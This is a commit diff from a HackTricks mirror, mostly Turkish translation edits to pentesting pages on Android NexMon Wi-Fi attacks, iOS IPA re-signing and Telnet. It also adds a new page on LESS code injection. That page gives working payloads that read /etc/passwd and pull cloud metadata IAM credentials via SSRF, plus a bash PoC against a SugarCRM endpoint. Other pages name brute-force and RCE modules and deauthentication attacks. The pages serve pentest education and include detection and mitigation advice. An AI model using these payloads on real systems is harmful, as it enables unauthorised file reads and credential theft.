mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-wifi/ena
This commit is contained in:
parent
69b6150015
commit
3520f2f5f1
@ -544,6 +544,7 @@
|
||||
|
||||
# 🕸️ Pentesting Web
|
||||
|
||||
- [Less Code Injection Ssrf](pentesting-web/less-code-injection-ssrf.md)
|
||||
- [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md)
|
||||
- [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
|
||||
- [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)
|
||||
|
@ -11,24 +11,24 @@ Bu sayfa, tamamen yamalanmış bir Samsung Galaxy S10 (BCM4375B1) örneğini kul
|
||||
* İzleme modu geçişini otomatikleştirmek için Hijacker Android uygulaması
|
||||
* Dahili arayüze doğrudan klasik kablosuz araçları (aircrack-ng, wifite, mdk4 …) çalıştırmak için isteğe bağlı Kali NetHunter chroot
|
||||
|
||||
Aynı teknik, kamuya açık bir NexMon yaması bulunan herhangi bir cep telefonuna uygulanabilir (Pixel 1, Nexus 6P, Galaxy S7/S8, vb.).
|
||||
Aynı teknik, kamuya açık bir NexMon yaması bulunan herhangi bir telefon için geçerlidir (Pixel 1, Nexus 6P, Galaxy S7/S8, vb.).
|
||||
|
||||
---
|
||||
|
||||
## Ön Koşullar
|
||||
* Desteklenen bir Broadcom/Cypress yongası olan Android cep telefonu (örn. BCM4358/59/43596/4375B1)
|
||||
* Magisk ≥ 24 ile kök erişimi
|
||||
## Gereksinimler
|
||||
* Desteklenen bir Broadcom/Cypress yongası olan Android telefonu (örn. BCM4358/59/43596/4375B1)
|
||||
* Magisk ≥ 24 ile kök
|
||||
* BusyBox (çoğu ROM/NetHunter zaten içerir)
|
||||
* Aşağıdaki bileşenleri sağlayan NexMon Magisk ZIP veya kendinden derlenmiş yaman:
|
||||
* Aşağıdakileri sağlayan NexMon Magisk ZIP veya kendinden derlenmiş yaman:
|
||||
* `/system/lib*/libnexmon.so`
|
||||
* `/system/xbin/nexutil`
|
||||
* Hijacker ≥ 1.7 (arm/arm64) – https://github.com/chrisk44/Hijacker
|
||||
* (İsteğe bağlı) Kali NetHunter veya kablosuz araçları çalıştırmayı planladığınız herhangi bir Linux chroot
|
||||
* Hijacker ≥ 1.7 (arm/arm64) – [https://github.com/chrisk44/Hijacker](https://github.com/chrisk44/Hijacker)
|
||||
* (İsteğe bağlı) Kali NetHunter veya kablosuz araçları çalıştırmayı düşündüğünüz herhangi bir Linux chroot
|
||||
|
||||
---
|
||||
|
||||
## NexMon yamasını flaşlama (Magisk)
|
||||
1. Tam cihazınız/yazılımınız için ZIP'i indirin (örnek: `nexmon-s10.zip`).
|
||||
1. Tam cihaz/yazılımınız için ZIP'i indirin (örnek: `nexmon-s10.zip`).
|
||||
2. Magisk'i açın -> Modüller -> Depodan yükle -> ZIP'i seçin ve yeniden başlatın.
|
||||
Modül, `libnexmon.so` dosyasını `/data/adb/modules/<module>/lib*/` dizinine kopyalar ve SELinux etiketlerinin doğru olmasını sağlar.
|
||||
3. Kurulumu doğrulayın:
|
||||
@ -51,7 +51,7 @@ svc wifi disable; ifconfig wlan0 up; nexutil -s0x613 -i -v2
|
||||
Disable monitor mode:
|
||||
nexutil -m0; svc wifi enable
|
||||
```
|
||||
“Start monitor mode on airodump start” seçeneğini etkinleştirerek her Hijacker taramasının yerel izleme modunda (`wlan0` yerine `wlan0mon`) gerçekleşmesini sağlayın.
|
||||
“Start monitor mode on airodump start” seçeneğini etkinleştirerek, her Hijacker taramasının yerel izleme modunda (`wlan0` yerine `wlan0mon`) gerçekleşmesini sağlayın.
|
||||
|
||||
Eğer Hijacker başlatıldığında hatalar gösteriyorsa, paylaşılan depolama alanında gerekli dizini oluşturun ve uygulamayı yeniden açın:
|
||||
```bash
|
||||
@ -82,29 +82,29 @@ Eğer sadece pasif sniffing'e ihtiyacınız varsa, `-s0x613` bayrağını atlay
|
||||
---
|
||||
|
||||
## Kali NetHunter / chroot içinde `libnexmon` kullanma
|
||||
Kali'deki stok kullanıcı alanı araçları NexMon'u tanımıyor, ancak `LD_PRELOAD` ile kullanmaya zorlayabilirsiniz:
|
||||
Kali'deki stok kullanıcı alanı araçları NexMon'u tanımıyor, ancak `LD_PRELOAD` aracılığıyla kullanmaya zorlayabilirsiniz:
|
||||
|
||||
1. Önceden derlenmiş paylaşılan nesneyi chroot içine kopyalayın:
|
||||
```bash
|
||||
cp /sdcard/Download/kalilibnexmon.so <chroot>/lib/
|
||||
```
|
||||
2. **Android ana bilgisayarı** üzerinden izleme modunu etkinleştirin (yukarıdaki komut veya Hijacker aracılığıyla).
|
||||
3. Kali içinde herhangi bir kablosuz aracı preload ile başlatın:
|
||||
3. Kali içinde ön yükleme ile herhangi bir kablosuz aracı başlatın:
|
||||
```bash
|
||||
sudo su
|
||||
export LD_PRELOAD=/lib/kalilibnexmon.so
|
||||
wifite -i wlan0 # veya aircrack-ng, mdk4 …
|
||||
```
|
||||
4. İşiniz bittiğinde, Android'de her zamanki gibi izleme modunu devre dışı bırakın.
|
||||
4. İşiniz bittiğinde, Android'de izleme modunu her zamanki gibi devre dışı bırakın.
|
||||
|
||||
Firmware zaten radiotap enjeksiyonunu işlediğinden, kullanıcı alanı araçları harici bir Atheros adaptörü gibi davranır.
|
||||
Firmware zaten radiotap enjeksiyonunu işlediğinden, kullanıcı alanı araçları dış Atheros adaptörü gibi davranır.
|
||||
|
||||
---
|
||||
|
||||
## Olası Tipik Saldırılar
|
||||
Monitor + TX aktif olduğunda şunları yapabilirsiniz:
|
||||
* `wifite`, `hcxdumptool`, `airodump-ng` ile WPA(2/3-SAE) el sıkışmalarını veya PMKID'leri yakalayın.
|
||||
* Müşterileri yeniden bağlanmaya zorlamak için deauthentication / disassociation çerçeveleri enjekte edin.
|
||||
* Müşterileri yeniden bağlanmaya zorlamak için deauthentikasyon / ilişki kesme çerçeveleri enjekte edin.
|
||||
* `mdk4`, `aireplay-ng`, Scapy vb. ile keyfi yönetim/veri çerçeveleri oluşturun.
|
||||
* Telefon üzerinden sahte AP'ler oluşturun veya KARMA/MANA saldırıları gerçekleştirin.
|
||||
|
||||
@ -114,7 +114,7 @@ Galaxy S10'daki performans, harici USB NIC'lerle karşılaştırılabilir (~20 d
|
||||
|
||||
## Sorun Giderme
|
||||
* `Device or resource busy` – izleme modunu etkinleştirmeden önce **Android Wi-Fi hizmetinin devre dışı olduğundan emin olun** (`svc wifi disable`).
|
||||
* `nexutil: ioctl(PRIV_MAGIC) failed` – kütüphane önceden yüklenmemiş; `LD_PRELOAD` yolunu kontrol edin.
|
||||
* `nexutil: ioctl(PRIV_MAGIC) failed` – kütüphane ön yüklenmemiş; `LD_PRELOAD` yolunu kontrol edin.
|
||||
* Çerçeve enjeksiyonu çalışıyor ama paket yakalanmıyor – bazı ROM'lar kanalları sert bir şekilde engeller; `nexutil -c <channel>` veya `iwconfig wlan0 channel <n>` deneyin.
|
||||
* SELinux kütüphaneyi engelliyor – cihazı *Permissive* olarak ayarlayın veya modül bağlamını düzeltin: `chcon u:object_r:system_lib_file:s0 libnexmon.so`.
|
||||
|
||||
|
@ -8,7 +8,7 @@
|
||||
|
||||
Ancak, IPA'yı çekip, yetki ile yeniden imzalayıp cihazınıza geri yüklemek o kadar kolay değildir. Bunun nedeni FairPlay korumasıdır. Uygulamanın imzası değiştiğinde, DRM (Dijital Haklar Yönetimi) anahtarı **geçersiz hale gelir ve uygulama çalışmaz**.
|
||||
|
||||
Eski bir jailbreak'li cihazda, IPA'yı yüklemek, **favori aracınızı kullanarak şifre çözmek** (örneğin Iridium veya frida-ios-dump gibi) ve cihazdan geri almak mümkündür. Ancak, mümkünse, şifrelenmemiş IPA için sadece istemci olarak talep etmeniz önerilir.
|
||||
Eski bir jailbreak'li cihazda, IPA'yı yüklemek, **favori aracınızı kullanarak şifre çözmek** (örneğin Iridium veya frida-ios-dump gibi) ve cihazdan geri almak mümkündür. Ancak, mümkünse, şifrelenmemiş IPA için sadece istemci olarak talep edilmesi önerilir.
|
||||
|
||||
## Şifrelenmemiş IPA'yı elde etme
|
||||
|
||||
@ -19,7 +19,7 @@ Eski bir jailbreak'li cihazda, IPA'yı yüklemek, **favori aracınızı kullanar
|
||||
3. Mac'inizde `Terminal`i açın ve `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` dizinine gidin. IPA daha sonra bu klasörde görünecektir.
|
||||
4. iOS cihazınızı görmelisiniz. Üzerine çift tıklayın ve ardından üst menü çubuğundan Ekle + → Uygulamalar'a tıklayın.
|
||||
5. Ekle'ye tıkladıktan sonra, Configurator IPA'yı Apple'dan indirecek ve cihazınıza yüklemeye çalışacaktır. Daha önce önerimi takip ettiyseniz ve IPA'yı zaten yüklediyseniz, uygulamayı yeniden yüklemenizi isteyen bir istem belirecektir.
|
||||
6. IPA, `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` dizinine indirilmelidir; buradan alabilirsiniz.
|
||||
6. IPA, `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` dizininde indirilmiş olmalıdır; buradan alabilirsiniz.
|
||||
|
||||
Bu süreç hakkında daha ayrıntılı bilgi için [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) adresini kontrol edin.
|
||||
|
||||
@ -33,7 +33,7 @@ unzip redacted.ipa -d unzipped
|
||||
```
|
||||
`Info.plist` dosyasını minimum desteklenen sürüm için kontrol edin ve cihazınız bu sürümden daha eskiyse, değeri desteklenecek şekilde değiştirin.
|
||||
|
||||
IPA'yı tekrar zipleyin:
|
||||
IPA dosyasını zipleyin:
|
||||
```bash
|
||||
cd unzipped
|
||||
zip -r ../no-min-version.ipa *
|
||||
@ -47,13 +47,13 @@ Not edin ki, herhangi bir `invalid signature` hatasını önlemek için Cydia'da
|
||||
Yüklendikten sonra, şifrelenmemiş IPA'yı elde etmek için Cydia'dan **Iridium tweak**'i kullanabilirsiniz.
|
||||
|
||||
|
||||
### Yetkilendirmeleri Yamanla & Yeniden İmzala
|
||||
### Yetkilendirmeleri Yamanla ve Yeniden İmzala
|
||||
|
||||
`get-task-allow` yetkilendirmesi ile uygulamayı yeniden imzalamak için `app-signer`, `codesign` ve `iResign` gibi çeşitli araçlar mevcuttur. `app-signer`, yeniden imzalanacak IPA dosyasını belirtip, **`get-task-allow`** ekleyerek ve kullanılacak sertifika ile provisioning profili belirterek IPA dosyasını çok kolay bir şekilde yeniden imzalamaya olanak tanıyan oldukça kullanıcı dostu bir arayüze sahiptir.
|
||||
`get-task-allow` yetkilendirmesi ile uygulamayı yeniden imzalamak için `app-signer`, `codesign` ve `iResign` gibi çeşitli araçlar mevcuttur. `app-signer`, yeniden imzalanacak IPA dosyasını belirtip, **`get-taks-allow`** ekleyerek ve kullanılacak sertifika ve dağıtım profili ile çok kolay bir şekilde yeniden imzalamaya olanak tanıyan çok kullanıcı dostu bir arayüze sahiptir.
|
||||
|
||||
Sertifika ve imzalama profilleri ile ilgili olarak, Apple, Xcode aracılığıyla tüm hesaplar için **ücretsiz geliştirici imzalama profilleri** sunmaktadır. Sadece bir uygulama oluşturun ve bir tane yapılandırın. Ardından, **iPhone'u geliştirici uygulamalarını güvenilir hale getirmek için** `Ayarlar` → `Gizlilik & Güvenlik` bölümüne giderek `Geliştirici Modu`na tıklayın.
|
||||
Sertifika ve imzalama profilleri ile ilgili olarak, Apple Xcode aracılığıyla tüm hesaplar için **ücretsiz geliştirici imzalama profilleri** sunmaktadır. Sadece bir uygulama oluşturun ve bir tane yapılandırın. Ardından, `Ayarlar` → `Gizlilik ve Güvenlik` bölümüne giderek **iPhone'un geliştirici uygulamalarını güvenilir hale getirmesini** sağlayın ve `Geliştirici Modu`na tıklayın.
|
||||
|
||||
Yeniden imzalanmış IPA ile, onu cihazda kurma zamanı geldi:
|
||||
Yeniden imzalanmış IPA ile, onu cihazda kurup pentest yapmak için zamanı geldi:
|
||||
```bash
|
||||
ideviceinstaller -i resigned.ipa -w
|
||||
```
|
||||
@ -75,8 +75,8 @@ Artık jailbreak olmadan yan yükleme yapmak ve yeniden imzalanmış IP'leri gü
|
||||
|
||||
| Araç | Gereksinimler | Güçlü Yönler | Sınırlamalar |
|
||||
|------|--------------|-----------|-------------|
|
||||
| **AltStore 2 / SideStore** | IPA'yı her 7 günde ücretsiz bir geliştirici profili ile yeniden imzalayan macOS/Windows/Linux eşlikçisi | Wi-Fi üzerinden otomatik yeniden yükleme, iOS 17'ye kadar çalışır | Aynı ağda bilgisayar gerektirir, Apple tarafından 3 uygulama limiti uygulanmıştır |
|
||||
| **TrollStore 1/2** | CoreTrust hatasına karşı savunmasız iOS 14 – 15.4.1 cihazı | *Kalıcı* imzalama (7 günlük limit yok); kurulduktan sonra bilgisayar gerekmez | iOS 15.5+ üzerinde desteklenmiyor (hata yamanmış) |
|
||||
| **AltStore 2 / SideStore** | IPA'yı her 7 günde ücretsiz bir geliştirici profili ile yeniden imzalayan macOS/Windows/Linux eşlikçisi | Wi-Fi üzerinden otomatik yeniden yükleme, iOS 17'ye kadar çalışır | Aynı ağda bilgisayar gerektirir, Apple tarafından 3 uygulama limiti uygulanır |
|
||||
| **TrollStore 1/2** | CoreTrust hatasına karşı savunmasız iOS 14 – 15.4.1'deki cihaz | *Kalıcı* imzalama (7 günlük limit yok); kurulduktan sonra bilgisayar gerekmez | iOS 15.5+ üzerinde desteklenmiyor (hata yamanmış) |
|
||||
|
||||
Mevcut iOS sürümlerinde rutin pentestler için Alt/Side-Store genellikle en pratik seçimdir.
|
||||
|
||||
@ -94,7 +94,7 @@ Son Frida sürümleri (>=16) otomatik olarak işaretçi kimlik doğrulamasını
|
||||
|
||||
### Jailbreak olmadan otomatik dinamik analiz MobSF ile
|
||||
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) gerçek bir cihazda dev-imzalı bir IPA'yı aynı teknikle (`get_task_allow`) enstrümante edebilir ve dosya sistemi tarayıcısı, trafik yakalama ve Frida konsolu ile bir web UI sağlar【†L2-L3】. En hızlı yol, MobSF'yi Docker'da çalıştırmak ve ardından iPhone'unuzu USB ile bağlamaktır:
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) gerçek bir cihazda dev-imzalı bir IPA'yı aynı teknikle (`get_task_allow`) enstrümante edebilir ve dosya sistemi tarayıcısı, trafik yakalama ve Frida konsolu ile bir web UI sağlar【】. En hızlı yol, MobSF'yi Docker'da çalıştırmak ve ardından iPhone'unuzu USB ile bağlamaktır:
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf:latest
|
||||
docker run -p 8000:8000 --privileged \
|
||||
|
@ -5,7 +5,7 @@
|
||||
|
||||
## **Temel Bilgiler**
|
||||
|
||||
Telnet, kullanıcıların bir ağ üzerinden bir bilgisayara güvensiz bir şekilde erişim sağlamasına olanak tanıyan bir ağ protokolüdür.
|
||||
Telnet, kullanıcılara bir ağ üzerinden bir bilgisayara erişim sağlamak için güvensiz bir yol sunan bir ağ protokolüdür.
|
||||
|
||||
**Varsayılan port:** 23
|
||||
```
|
||||
@ -23,7 +23,7 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
|
||||
```
|
||||
`telnet-ntlm-info.nse` betiği NTLM bilgilerini (Windows sürümleri) alacaktır.
|
||||
|
||||
[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854)'deki TELNET Protokolünde, kullanıcı ve sunucunun TELNET bağlantıları için daha karmaşık (veya belki sadece farklı) bir dizi kural kullanmayı kabul etmesine olanak tanıyan çeşitli "**seçenekler**" bulunmaktadır. Bu seçenekler karakter setini değiştirmek, yankı modunu ayarlamak vb. içerebilir.
|
||||
[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854)'deki TELNET Protokolünde, kullanıcı ve sunucunun TELNET bağlantıları için daha karmaşık (veya belki sadece farklı) bir dizi kural kullanmayı kabul etmesine olanak tanıyan çeşitli "**seçenekler**" bulunmaktadır. Bu seçenekler karakter setini, yankı modunu değiştirmeyi vb. içerebilir.
|
||||
|
||||
**Bu seçenekleri sıralamanın mümkün olduğunu biliyorum ama nasıl yapıldığını bilmiyorum, eğer biliyorsanız lütfen bana bildirin.**
|
||||
|
||||
@ -69,11 +69,11 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
|
||||
```
|
||||
### Son Güvenlik Açıkları (2022-2025)
|
||||
|
||||
* **CVE-2024-45698 – D-Link Wi-Fi 6 yönlendiricileri (DIR-X4860)**: Yerleşik Telnet servisi, sabit kodlanmış kimlik bilgilerini kabul etti ve girişi temizlemede başarısız oldu, bu da yetkisiz uzaktan RCE'ye root olarak, port 23 üzerinden hazırlanmış komutlar aracılığıyla olanak tanıdı. Firmware ≥ 1.04B05 ile düzeltildi.
|
||||
* **CVE-2023-40478 – NETGEAR RAX30**: Telnet CLI `passwd` komutundaki yığın tabanlı tampon taşması, komşu bir saldırganın kimlik doğrulamayı atlamasına ve root olarak rastgele kod çalıştırmasına olanak tanır.
|
||||
* **CVE-2024-45698 – D-Link Wi-Fi 6 yönlendiricileri (DIR-X4860)**: Yerleşik Telnet servisi, sabit kodlanmış kimlik bilgilerini kabul etti ve girişi temizlemede başarısız oldu, bu da kimlik doğrulaması yapılmamış uzaktan RCE'ye izin verdi ve port 23 üzerinden özel komutlarla root olarak erişim sağladı. Firmware ≥ 1.04B05 ile düzeltildi.
|
||||
* **CVE-2023-40478 – NETGEAR RAX30**: Telnet CLI `passwd` komutundaki yığın tabanlı tampon taşması, komşu bir saldırganın kimlik doğrulamasını atlamasına ve root olarak rastgele kod çalıştırmasına olanak tanır.
|
||||
* **CVE-2022-39028 – GNU inetutils telnetd**: İki baytlık bir dizilim (`0xff 0xf7` / `0xff 0xf8`), `telnetd`'yi çökerten bir NULL işaretçi dereferansı tetikler ve birkaç çökmeden sonra kalıcı bir DoS'a yol açar.
|
||||
|
||||
Bu CVE'leri güvenlik açığı triage'ı sırasında aklınızda bulundurun—hedef, yamanmamış bir firmware veya eski inetutils Telnet daemon'u çalıştırıyorsa, kod yürütme veya kesintili bir DoS için doğrudan bir yolunuz olabilir.
|
||||
Bu CVE'leri güvenlik açığı triage sırasında aklınızda bulundurun—hedef, yamanmamış bir firmware veya eski inetutils Telnet daemon'u çalıştırıyorsa, kod çalıştırma veya kesintili bir DoS için doğrudan bir yolunuz olabilir.
|
||||
|
||||
### Kimlik Bilgilerini Dinleme & Adam Ortada
|
||||
|
||||
@ -107,7 +107,7 @@ Metasploit'in birkaç yararlı modülü vardır:
|
||||
* `auxiliary/scanner/telnet/telnet_version` – banner ve seçenek sayımı.
|
||||
* `auxiliary/scanner/telnet/brute_telnet` – çoklu iş parçacıklı brute force.
|
||||
* `auxiliary/scanner/telnet/telnet_encrypt_overflow` – savunmasız Solaris 9/10 Telnet'e karşı RCE (ENCRYPT seçeneği işleme).
|
||||
* `exploit/linux/mips/netgear_telnetenable` – birçok NETGEAR yönlendiricisinde telnet hizmetini özel bir paket ile etkinleştirir.
|
||||
* `exploit/linux/mips/netgear_telnetenable` – birçok NETGEAR yönlendiricisinde telnet hizmetini özel bir paketle etkinleştirir.
|
||||
|
||||
Bir shell elde edildikten sonra **TTY'lerin genellikle aptal olduğunu** unutmayın; `python -c 'import pty;pty.spawn("/bin/bash")'` ile yükseltin veya [HackTricks TTY tricks](/generic-hacking/reverse-shells/full-ttys.md) kullanın.
|
||||
|
||||
@ -123,4 +123,4 @@ Bir shell elde edildikten sonra **TTY'lerin genellikle aptal olduğunu** unutmay
|
||||
* D-Link Danışmanlığı – CVE-2024-45698 Kritik Telnet RCE.
|
||||
* NVD – CVE-2022-39028 inetutils `telnetd` DoS.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
75
src/pentesting-web/less-code-injection-ssrf.md
Normal file
75
src/pentesting-web/less-code-injection-ssrf.md
Normal file
@ -0,0 +1,75 @@
|
||||
# LESS Kod Enjeksiyonu ile SSRF ve Yerel Dosya Okuma
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Genel Bakış
|
||||
|
||||
LESS, değişkenler, mixin'ler, fonksiyonlar ve güçlü `@import` direktifi ekleyen popüler bir CSS ön işleyicisidir. Derleme sırasında LESS motoru, **`@import`** ifadelerinde referans verilen kaynakları **alır** ve `(inline)` seçeneği kullanıldığında bunların içeriklerini sonuçta oluşan CSS'ye gömülü ("inline") olarak ekler.
|
||||
|
||||
Bir uygulama, **kullanıcı kontrolündeki girişi** daha sonra LESS derleyicisi tarafından işlenen bir dizeye birleştirdiğinde, bir saldırgan **rastgele LESS kodu** enjekte edebilir. Saldırgan, `@import (inline)`'i kötüye kullanarak sunucunun şunları almasını zorlayabilir:
|
||||
|
||||
* `file://` protokolü aracılığıyla yerel dosyalar (bilgi sızıntısı / Yerel Dosya Dahil Etme).
|
||||
* Dahili ağlar veya bulut meta veri hizmetlerindeki uzaktan kaynaklar (SSRF).
|
||||
|
||||
Bu teknik, **SugarCRM ≤ 14.0.0** (`/rest/v10/css/preview` uç noktası) gibi gerçek dünya ürünlerinde görülmüştür.
|
||||
|
||||
## Sömürü
|
||||
|
||||
1. LESS motoru tarafından işlenen bir stil sayfası dizesine doğrudan gömülü bir parametreyi tanımlayın (örneğin, SugarCRM'deki `?lm=`).
|
||||
2. Mevcut ifadeyi kapatın ve yeni direktifler enjekte edin. En yaygın temel ifadeler şunlardır:
|
||||
* `;` – önceki bildirimi sonlandırır.
|
||||
* `}` – önceki bloğu kapatır (gerekirse).
|
||||
3. Rastgele kaynakları okumak için `@import (inline) '<URL>';` kullanın.
|
||||
4. İsteğe bağlı olarak, derlenmiş CSS'den alınan içeriğin çıkarılmasını kolaylaştırmak için import'tan sonra bir **işaretçi** (`data:` URI) enjekte edin.
|
||||
|
||||
### Yerel Dosya Okuma
|
||||
```
|
||||
1; @import (inline) 'file:///etc/passwd';
|
||||
@import (inline) 'data:text/plain,@@END@@'; //
|
||||
```
|
||||
`/etc/passwd` dosyasının içeriği, `@@END@@` işaretçisinden hemen önce HTTP yanıtında görünecektir.
|
||||
|
||||
### SSRF – Bulut Metadata
|
||||
```
|
||||
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
|
||||
@import (inline) 'data:text/plain,@@END@@'; //
|
||||
```
|
||||
### Otomatik PoC (SugarCRM örneği)
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
|
||||
|
||||
TARGET="$1" # Base URL of SugarCRM instance
|
||||
RESOURCE="$2" # file:// path or URL to fetch
|
||||
|
||||
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
|
||||
|
||||
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
|
||||
sed -n 's/.*@@END@@\(.*\)/\1/p'
|
||||
```
|
||||
## Tespit
|
||||
|
||||
* Dinamik olarak oluşturulan `.less` veya `.css` yanıtlarında, temizlenmemiş sorgu parametrelerini arayın.
|
||||
* Kod incelemesi sırasında, LESS render fonksiyonlarına geçirilen `"@media all { .preview { ... ${userInput} ... } }"` gibi yapıları arayın.
|
||||
* Sömürü girişimleri genellikle `@import`, `(inline)`, `file://`, `http://169.254.169.254` vb. içerir.
|
||||
|
||||
## Önlemler
|
||||
|
||||
* Güvenilmeyen verileri LESS derleyicisine **geçmeyin**.
|
||||
* Dinamik değerlere ihtiyaç varsa, bunları düzgün bir şekilde **kaçırın**/temizleyin (örneğin, sayısal token'larla sınırlayın, beyaz liste oluşturun).
|
||||
* Mümkünse, `(inline)` içe aktarımlarını kullanma yeteneğini devre dışı bırakın veya izin verilen protokolleri `https` ile sınırlayın.
|
||||
* Bağımlılıkları güncel tutun – SugarCRM bu sorunu 13.0.4 ve 14.0.1 sürümlerinde yamanmıştır.
|
||||
|
||||
## Gerçek Dünya Vakaları
|
||||
|
||||
| Ürün | Gü vulnerable Uç Nokta | Etki |
|
||||
|---------|--------------------|--------|
|
||||
| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | Kimlik doğrulaması yapılmamış SSRF & yerel dosya okuma |
|
||||
|
||||
## Referanslar
|
||||
|
||||
* [SugarCRM ≤ 14.0.0 (css/preview) LESS Kod Enjeksiyon Açığı](https://karmainsecurity.com/KIS-2025-04)
|
||||
* [SugarCRM Güvenlik Danışmanlığı SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
|
||||
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -4,4 +4,10 @@
|
||||
|
||||
Kontrol et **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
|
||||
|
||||
- SugarCRM ≤ 14.0.0 – `/rest/v10/css/preview` içindeki LESS `@import` enjeksiyonu, kimlik doğrulaması yapılmamış SSRF ve yerel dosya okuma imkanı sağlar.
|
||||
|
||||
{{#ref}}
|
||||
../less-code-injection-ssrf.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user